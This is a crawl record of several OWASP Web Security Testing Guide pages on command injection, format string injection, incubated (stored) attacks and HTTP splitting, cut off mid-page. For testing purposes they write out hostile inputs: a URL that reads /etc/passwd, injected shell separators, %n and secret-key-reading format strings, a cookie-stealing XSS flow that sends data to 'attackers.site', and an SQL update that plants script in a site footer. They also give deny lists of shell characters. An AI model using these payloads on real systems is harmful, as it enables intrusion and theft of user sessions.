"og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Command Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Example"}, {"uroven": 2, "text": "Special Characters for Comand Injection"}, {"uroven": 2, "text": "Code Review Dangerous API"}, {"uroven": 3, "text": "Java"}, {"uroven": 3, "text": "C/C++"}, {"uroven": 3, "text": "Python"}, {"uroven": 3, "text": "PHP"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 3, "text": "Sanitization"}, {"uroven": 3, "text": "Permissions"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Command Injection\n\n| ID |\n| --- |\n| WSTG-INPV-12 |\n\n## Summary\n\nThis article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP request to the application.\n\nOS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications.\n\n## Test Objectives\n\n- Identify and assess the command injection points.\n\n## How to Test\n\nWhen viewing a file in a web application, the filename is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol `|` onto the end of the filename.\n\nExample URL before alteration:\n\n`http://sensitive/cgi-bin/userData.pl?doc=user1.txt`\n\nExample URL modified:\n\n`http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|`\n\nThis will execute the command `/bin/ls`.\n\nAppending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. `%3B` is URL encoded and decodes to semicolon\n\nExample:\n\n`http://sensitive/something.php?dir=%3Bcat%20/etc/passwd`\n\n### Example\n\nConsider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up a personal proxy (such as ZAP or Burp Suite), you can obtain a POST HTTP like the following (`http://www.example.com/public/doc`):\n\n```\nPOST /public/doc HTTP/1.1\nHost: www.example.com\n[...]\nReferer: http://127.0.0.1/WebGoat/attack?Screen=20\nCookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5\nAuthorization: Basic T2Vbc1Q9Z3V2Tc3e=\nContent-Type: application/x-www-form-urlencoded\nContent-length: 33\n\nDoc=Doc1.pdf\n```\n\nIn this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following (`http://www.example.com/public/doc`):\n\n```\nPOST /public/doc HTTP/1.1\nHost: www.example.com\n[...]\nReferer: http://127.0.0.1/WebGoat/attack?Screen=20\nCookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5\nAuthorization: Basic T2Vbc1Q9Z3V2Tc3e=\nContent-Type: application/x-www-form-urlencoded\nContent-length: 33\n\nDoc=Doc1.pdf+|+Dir c:\\\n```\n\nIf the application doesn’t validate the request, we can obtain the following result:\n\n```\n Exec Results for 'cmd.exe /c type \"C:\\httpd\\public\\doc\\\"Doc=Doc1.pdf+|+Dir c:\\'\n Output...\n Il volume nell'unità C non ha etichetta.\n Numero di serie Del volume: 8E3F-4B61\n Directory of c:\\\n 18/10/2006 00:27 2,675 Dir_Prog.txt\n 18/10/2006 00:28 3,887 Dir_ProgFile.txt\n 16/11/2006 10:43\n Doc\n 11/11/2006 17:25\n Documents and Settings\n 25/10/2006 03:11\n I386\n 14/11/2006 18:51\n h4ck3r\n 30/09/2005 21:40 25,934\n OWASP1.JPG\n 03/11/2006 18:29\n Prog\n 18/11/2006 11:20\n Program Files\n 16/11/2006 21:12\n Software\n 24/10/2006 18:25\n Setup\n 24/10/2006 23:37\n Technologies\n 18/11/2006 11:14\n 3 File 32,496 byte\n 13 Directory 6,921,269,248 byte disponibili\n Return code: 0\n```\n\nIn this case, we have successfully performed an OS injection attack.\n\n## Special Characters for Comand Injection\n\nThe following special character can be used for command injection such as `|` `;` `&` `$` `>` `<` `'` `!`\n\n- `cmd1|cmd2` : Uses of `|` will make command 2 to be executed weather command 1 execution is successful or not.\n- `cmd1;cmd2` : Uses of `;` will make command 2 to be executed weather command 1 execution is successful or not.\n- `cmd1||cmd2` : Command 2 will only be executed if command 1 execution fails.\n- `cmd1&&cmd2` : Command 2 will only be executed if command 1 execution succeeds.\n- `$(cmd)` : For example, `echo $(whoami)` or `$(touch test.sh; echo 'ls' > test.sh)`\n- `cmd` : It’s used to execute specific command. For example, `whoami`\n- `>(cmd)` : `>(ls)`\n- `<(cmd)` : `<(ls)`\n\n## Code Review Dangerous API\n\nBe aware of the uses of following API as it may introduce the command injection risks.\n\n### Java\n\n- `Runtime.exec()`\n\n### C/C++\n\n- `system`\n- `exec`\n- `ShellExecute`\n\n### Python\n\n- `exec`\n- `eval`\n- `os.system`\n- `os.popen`\n- `subprocess.popen`\n- `subprocess.call`\n\n### PHP\n\n- `system`\n- `shell_exec`\n- `exec`\n- `proc_open`\n- `eval`\n\n## Remediation\n\n### Sanitization\n\nThe URL and form data needs to be sanitized for invalid characters. A deny list of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. An allow list containing only allowable characters or command list should be created to validate the user input. Characters that were missed, as well as undiscovered threats, should be eliminated by this list.\n\nGeneral deny list to be included for command injection can be `|` `;` `&` `$` `>` `<` `'` `\\` `!` `>>` `#`\n\nEscape or filter special characters for windows, `(` `)` `<` `>` `&` `*` `‘` `|` `=` `?` `;` `[` `]` `^` `~` `!` `.` `\"` `%` `@` `/` `\\` `:` `+` `,` ```\nEscape or filter special characters for Linux, `{` `}` `(` `)` `>` `<` `&` `*` `‘` `|` `=` `?` `;` `[` `]` `$` `–` `#` `~` `!` `.` `\"` `%` `/` `\\` `:` `+` `,` ```\n\n### Permissions\n\nThe web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all this information to test from a gray-box testing point of view.\n\n## Tools\n\n- OWASP [WebGoat](https://owasp.org/www-project-webgoat/)\n- [Commix](https://github.com/commixproject/commix)\n\n## References\n\n- [Penetration Testing for Web Applications (Part Two)](https://www.symantec.com/connect/articles/penetration-testing-web-applications-part-two)\n- [OS Commanding](http://projects.webappsec.org/w/page/13246950/OS%20Commanding)\n- [CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)](https://cwe.mitre.org/data/definitions/78.html)\n- [ENV33-C. Do not call system()](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152177)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6035, "slov": 864, "odkazu": 184, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:05", "sha256": "4e82d8a166088a81376deb707179b42b56e533595fd01f2c640c490536a0fe1e", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/commixproject/commix", "https://www.symantec.com/connect/articles/penetration-testing-web-applications-part-two", "http://projects.webappsec.org/w/page/13246950/OS%20Commanding", "https://cwe.mitre.org/data/definitions/78.html", "https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152177", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13-Testing_for_Format_String_Injection", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13-Testing_for_Format_String_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13-Testing_for_Format_String_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Format String Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Static Analysis"}, {"uroven": 3, "text": "Manual Code Inspection"}, {"uroven": 3, "text": "Conversion Specifier Injection"}, {"uroven": 4, "text": "Manual Injection"}, {"uroven": 4, "text": "Tool Assisted Fuzzing"}], "markdown": "# WSTG - v4.2\n\n# Testing for Format String Injection\n\n| ID |\n| --- |\n| WSTG-INPV-13 |\n\n## Summary\n\nA format string is a null-terminated character sequence that also contains conversion specifiers interpreted or converted at runtime. If server-side code [concatenates a user’s input with a format string](https://www.netsparker.com/blog/web-security/string-concatenation-format-string-vulnerabilities/), an attacker can append additional conversion specifiers to cause a runtime error, information disclosure, or buffer overflow.\n\nThe worst case for format strings vulnerabilities occur in languages that don’t check arguments and also include a `%n` specifier that writes to memory. These functions, if exploited by an attacker modifying a format string, could cause [information disclosure and code execution](https://www.veracode.com/security/format-string):\n\n- C and C++ [printf](https://en.cppreference.com/w/c/io/fprintf) and similar methods fprintf, sprintf, snprintf\n- Perl [printf](https://perldoc.perl.org/functions/printf.html) and sprintf\n\nThese format string functions cannot write to memory, but attackers can still cause information disclosure by changing format strings to output values the developers did not intend to send:\n\n- Python 2.6 and 2.7 [str.format](https://docs.python.org/2/library/string.html) and Python 3 unicode [str.format](https://docs.python.org/3/library/stdtypes.html#str.format) can be modified by injecting strings that can point to [other variables](https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/) in memory\n\nThe following format string functions can cause runtime errors if the attacker adds conversion specifiers:\n\n- Java [String.format](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/String.html#format%28java.util.Locale%2Cjava.lang.String%2Cjava.lang.Object...%29) and [PrintStream.format](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/io/PrintStream.html#format%2528java.util.Locale%252Cjava.lang.String%252Cjava.lang.Object...%2529)\n- PHP [printf](https://www.php.net/manual/es/function.printf.php)\n\nThe code pattern that causes a format string vulnerability is a call to a string format function that contains unsanitized user input. The following example shows how a debug `printf` could make a program vulnerable:\n\nThe example in C:\n\n```\nchar *userName = /* input from user controlled field */; printf(\"DEBUG Current user: \"); // Vulnerable debugging code printf(userName); \n```\n\nThe example in Java:\n\n```\nfinal String userName = /* input from user controlled field */; System.out.printf(\"DEBUG Current user: \"); // Vulnerable code: System.out.printf(userName); \n```\n\nIn this particular example, if the attacker set their `userName` to have one or more conversion specifiers, there would be unwanted behaviour. The C example would [print out memory contents](https://www.defcon.org/images/defcon-18/dc-18-presentations/Haas/DEFCON-18-Haas-Adv-Format-String-Attacks.pdf) if `userName` contained `%p%p%p%p%p`, and it can corrupt memory contents if there is a `%n` in the string. In the Java example, a `username` containing any specifier that needs an input (including `%x` or `%s`) would cause the program to crash with `IllegalFormatException`. Although the examples are still subject to other problems, the vulnerability can be fixed by printf arguments of `printf(\"DEBUG Current user: %s\", userName)`.\n\n## Test Objectives\n\n- Assess whether injecting format string conversion specifiers into user-controlled fields causes undesired behaviour from the application.\n\n## How to Test\n\nTests include analysis of the code and injecting conversion specifiers as user input to the application under test.\n\n### Static Analysis\n\nStatic analysis tools can find format string vulnerabilities in either the code or in binaries. Examples of tools include:\n\n- C and C++: [Flawfinder](https://dwheeler.com/flawfinder/)\n- Java: FindSecurityBugs rule [FORMAT_STRING_MANIPULATION](https://find-sec-bugs.github.io/bugs.htm#FORMAT_STRING_MANIPULATION)\n- PHP: String formatter Analyzer in [phpsa](https://github.com/ovr/phpsa/blob/master/docs/05_Analyzers.md#function_string_formater)\n\n### Manual Code Inspection\n\nStatic analysis may miss more subtle cases including format strings generated by complex code. To look for vulnerabilities manually in a codebase, a tester can look for all calls in the codebase that accept a format string and trace back to make sure untrusted input cannot change the format string.\n\n### Conversion Specifier Injection\n\nTesters can check at the unit test or full system test level by sending conversion specifiers in any string input. [Fuzz](https://owasp.org/www-community/Fuzzing) the program using all of the conversion specifiers for all languages the system under test uses. See the [OWASP Format string attack](https://owasp.org/www-community/attacks/Format_string_attack) page for possible inputs to use. If the test fails, the program will crash or display an unexpected output. If the test passes, the attempt to send a conversion specifier should be blocked, or the string should go through the system with no issues as with any other valid input.\n\nThe examples in the following subsections have a URL of this form:\n\n`https://vulnerable_host/userinfo?username=x`\n\n- The user-controlled value is `x` (for the `username` parameter).\n\n#### Manual Injection\n\nTesters can perform a manual test using a web browser or other web API debugging tools. Browse to the web application or site such that the query has conversion specifiers. Note that most conversion specifiers need [encoding](https://tools.ietf.org/html/rfc3986#section-2.1) if sent inside a URL because they contain special characters including `%` and `{`. The test can introduce a string of specifiers `%s%s%s%n` by browsing with the following URL:\n\n`https://vulnerable_host/userinfo?username=%25s%25s%25s%25n`\n\nIf the web site is vulnerable, the browser or tool should receive an error, which may include a timeout or an HTTP return code 500.\n\nThe Java code returns the error\n\n`java.util.MissingFormatArgumentException: Format specifier '%s'`\n\nDepending on the C implementation, the process may crash completely with `Segmentation Fault`.\n\n#### Tool Assisted Fuzzing\n\nFuzzing tools including [wfuzz](https://github.com/xmendez/wfuzz) can automate injection tests. For wfuzz, start with a text file (fuzz.txt in this example) with one input per line:\n\nfuzz.txt:\n\n```\nalice\n%s%s%s%n\n%p%p%p%p%p\n{event.__init__.__globals__[CONFIG][SECRET_KEY]}\n```\n\nThe `fuzz.txt` file contains the following:\n\n- A valid input `alice` to verify the application can process a normal input\n- Two strings with C-like conversion specifiers\n- One Python conversion specifier to attempt to read global variables\n\nTo send the fuzzing input file to the web application under test, use the following command:\n\n`wfuzz -c -z file,fuzz.txt,urlencode https://vulnerable_host/userinfo?username=FUZZ`\n\nIn the above call, the `urlencode` argument enables the approprate escaping for the strings and `FUZZ` (with the capital letters) tells the tool where to introduce the inputs.\n\nAn example output is as follows\n\n```\nID Response Lines Word Chars Payload\n===================================================================\n\n000000002: 500 0 L 5 W 142 Ch \"%25s%25s%25s%25n\"\n000000003: 500 0 L 5 W 137 Ch \"%25p%25p%25p%25p%25p\"\n000000004: 200 0 L 1 W 48 Ch \"%7Bevent.__init__.__globals__%5BCONFIG%5D%5BSECRET_KEY%5D%7D\"\n000000001: 200 0 L 1 W 5 Ch \"alice\"\n```\n\nThe above result validates the application’s weakness to the injection of C-like conversion specifiers `%s` and `%p`.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7555, "slov": 953, "odkazu": 196, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:06", "sha256": "b72606f81b140e05d1cdd9fea2aad2b6092507c4aabd957dad7f0ab3f209ff35", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.netsparker.com/blog/web-security/string-concatenation-format-string-vulnerabilities/", "https://www.veracode.com/security/format-string", "https://en.cppreference.com/w/c/io/fprintf", "https://perldoc.perl.org/functions/printf.html", "https://docs.python.org/2/library/string.html", "https://docs.python.org/3/library/stdtypes.html", "https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/", "https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/String.html", "https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/io/PrintStream.html", "https://www.php.net/manual/es/function.printf.php", "https://www.defcon.org/images/defcon-18/dc-18-presentations/Haas/DEFCON-18-Haas-Adv-Format-String-Attacks.pdf", "https://dwheeler.com/flawfinder/", "https://find-sec-bugs.github.io/bugs.htm", "https://github.com/ovr/phpsa/blob/master/docs/05_Analyzers.md", "https://tools.ietf.org/html/rfc3986", "https://github.com/xmendez/wfuzz", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/14-Testing_for_Incubated_Vulnerability", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/14-Testing_for_Incubated_Vulnerability", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/14-Testing_for_Incubated_Vulnerability", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Incubated Vulnerability"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "File Upload Example"}, {"uroven": 4, "text": "XSS Example on a Bulletin Board"}, {"uroven": 4, "text": "SQL Injection Example"}, {"uroven": 4, "text": "Misconfigured Server"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Advisories"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.2\n\n# Testing for Incubated Vulnerability\n\n| ID |\n| --- |\n| WSTG-INPV-14 |\n\n## Summary\n\nAlso often referred to as persistent attacks, incubated testing is a complex testing method that needs more than one data validation vulnerability to work. Incubated vulnerabilities are typically used to conduct “watering hole” attacks against users of legitimate web applications.\n\nIncubated vulnerabilities have the following characteristics:\n\n- The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.\n- Secondly, once the attack vector was “recalled” the vector would need to be executed successfully. For example, an incubated XSS attack would require weak output validation so the script would be delivered to the client in its executable form.\n\nExploitation of some vulnerabilities, or even functional features of a web application, will allow an attacker to plant a piece of data that will later be retrieved by an unsuspecting user or other component of the system, exploiting some vulnerability there.\n\nIn a penetration test, `incubated attacks` can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site).\n\nThis type of asynchronous attack covers a great spectrum of attack vectors, among them the following:\n\n- File upload components in a web application, allowing the attacker to upload corrupted media files (JPEG images exploiting `CVE-2004-0200` , PNG images exploiting `CVE-2004-0597` , executable files, site pages with active component, etc.)\n- Cross-site scripting issues in public forums posts (see [Testing for Stored Cross Site Scripting](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting) for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board, or blog in order to inject some JavaScript code at the vulnerable page, and will be eventually rendered and executed at the site user’s browser –using the trust level of the original (vulnerable) site at the user’s browser.\n- SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary JavaScript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., [XSS-proxy](http://sourceforge.net/projects/xss-proxy) ).\n- Misconfigured servers allowing installation of Java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)\n\n## Test Objectives\n\n- Identify injections that are stored and require a recall step to the stored injection.\n- Understand how a recall step could occur.\n- Set listeners or activate the recall step if possible.\n\n## How to Test\n\n### Black-Box Testing\n\n#### File Upload Example\n\nVerify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. Send your victim an email or other kind of alert in order to lead him/her to browse the page. The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site.\n\n#### XSS Example on a Bulletin Board\n\n1. Introduce JavaScript code as the value for the vulnerable field, for instance ``\n2. Direct users to browse the vulnerable page or wait for the users to browse it. Have a “listener” at `attackers.site` host listening for all incoming connections.\n3. When users browse the vulnerable page, a request containing their cookie ( `document.cookie` is included as part of the requested URL) will be sent to the `attackers.site` host, such as: `GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE; HTTP/1.1`\n4. Use cookies obtained to impersonate users at the vulnerable site.\n\n#### SQL Injection Example\n\nUsually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test is whether the target site has a SQL injection vulnerability. This is described in [Testing for SQL Injection](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection). For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do.\n\nThe tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.\n\nIn a similar fashion as in the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let’s suppose there is a `footer` table at the database with all footers for the web site pages, including a `notice` field with the legal notice that appears at the bottom of each web page. You could use the following query to inject JavaScript code to the `notice` field at the `footer` table in the database.\n\n```\nSELECT field1, field2, field3 FROM table_x WHERE field2 = 'x';    UPDATE footer    SET notice = 'Copyright 1999-2030%20\n       '    WHERE notice = 'Copyright 1999-2030'; \n```\n\nNow, each user browsing the site will silently send their cookies to the `attackers.site`.\n\n#### Misconfigured Server\n\nSome web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with an Apache Tomcat server that doesn’t enforce strong credentials to access its Web Application Manager (or if the pen testers have been able to obtain valid credentials for the administration module by other means).\n\nIn this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).\n\nAs should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).\n\n### Gray-Box Testing\n\nGray-box or white-box testing techniques will be the same as previously discussed.\n\n- Examining input validation is key in mitigating against this vulnerability. If other systems in the enterprise use the same persistence layer they may have weak input validation and the data may be persisted via a `back door` .\n- To combat the `back door` issue for client-side attacks, output validation must also be employed so tainted data shall be encoded prior to displaying to the client, and hence not execute.\n\n## Tools\n\n- [XSS-proxy](https://sourceforge.net/projects/xss-proxy)\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org/)\n- [Burp Suite](https://portswigger.net/burp)\n- [Metasploit](https://www.metasploit.com/)\n\n## References\n\nMost of the references from the Cross-site scripting section are valid. As explained above, incubated attacks are executed when combining exploits such as XSS or SQL-injection attacks.\n\n### Advisories\n\n- [CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests](https://resources.sei.cmu.edu/library/asset-view.cfm?assetID=496186)\n- [Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site scripting vulnerability](https://cxsecurity.com/issue/WLB-2006080004)\n\n### Whitepapers\n\n- [Web Application Security Consortium “Threat Classification, Cross-site scripting”](http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 8909, "slov": 1333, "odkazu": 186, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:07", "sha256": "01811b3ae805e550c65827bd72f334e4de312643478eb8c65034b21b3b9c8dca", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://sourceforge.net/projects/xss-proxy", "https://sourceforge.net/projects/xss-proxy", "https://www.zaproxy.org/", "https://portswigger.net/burp", "https://www.metasploit.com/", "https://resources.sei.cmu.edu/library/asset-view.cfm?assetID=496186", "https://cxsecurity.com/issue/WLB-2006080004", "http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/15-Testing_for_HTTP_Splitting_Smuggling", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/15-Testing_for_HTTP_Splitting_Smuggling", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/15-Testing_for_HTTP_Splitting_Smuggling", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for HTTP Splitting Smuggling"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "HTTP Splitting"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 4, "text": "HTTP Splitting"}, {"uroven": 4, "text": "HTTP Smuggling"}, {"uroven": 5, "text": "Application Firewall Bypass"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.2\n\n# Testing for HTTP Splitting Smuggling\n\n| ID |\n| --- |\n| WSTG-INPV-15 |\n\n## Summary\n\nThis section illustrates examples of attacks that leverage specific features of the HTTP protocol, either by exploiting weaknesses of the web application or peculiarities in the way different agents interpret HTTP messages.\nThis section will analyze two different attacks that target specific HTTP headers:\n\n- HTTP splitting\n- HTTP smuggling\n\nThe first attack exploits a lack of input sanitization which allows an intruder to insert CR and LF characters into the headers of the application response and to ‘split’ that answer into two different HTTP messages. The goal of the attack can vary from a cache poisoning to cross site scripting.\n\nIn the second attack, the attacker exploits the fact that some specially crafted HTTP messages can be parsed and interpreted in different ways depending on the agent that receives them. HTTP smuggling requires some level of knowledge about the different agents that are handling the HTTP messages (web server, proxy, firewall) and therefore will be included only in the gray-box testing section.\n\n## Test Objectives\n\n- Assess if the application is vulnerable to splitting, identifying what possible attacks are achievable.\n- Assess if the chain of communication is vulnerable to smuggling, identifying what possible attacks are achievable.\n\n## How to Test\n\n### Black-Box Testing\n\n#### HTTP Splitting\n\nSome web applications use part of the user input to generate the values of some headers of their responses. The most straightforward example is provided by redirections in which the target URL depends on some user-submitted value. Let’s say for instance that the user is asked to choose whether they prefer a standard or advanced web interface. The choice will be passed as a parameter that will be used in the response header to trigger the redirection to the corresponding page.\n\nMore specifically, if the parameter ‘interface’ has the value ‘advanced’, the application will answer with the following:\n\n```\nHTTP/1.1 302 Moved Temporarily Date: Sun, 03 Dec 2005 16:22:19 GMT Location: http://victim.com/main.jsp?interface=advanced \n```\n\nWhen receiving this message, the browser will bring the user to the page indicated in the Location header. However, if the application does not filter the user input, it will be possible to insert in the ‘interface’ parameter the sequence %0d%0a, which represents the CRLF sequence that is used to separate different lines. At this point, testers will be able to trigger a response that will be interpreted as two different responses by anybody who happens to parse it, for instance a 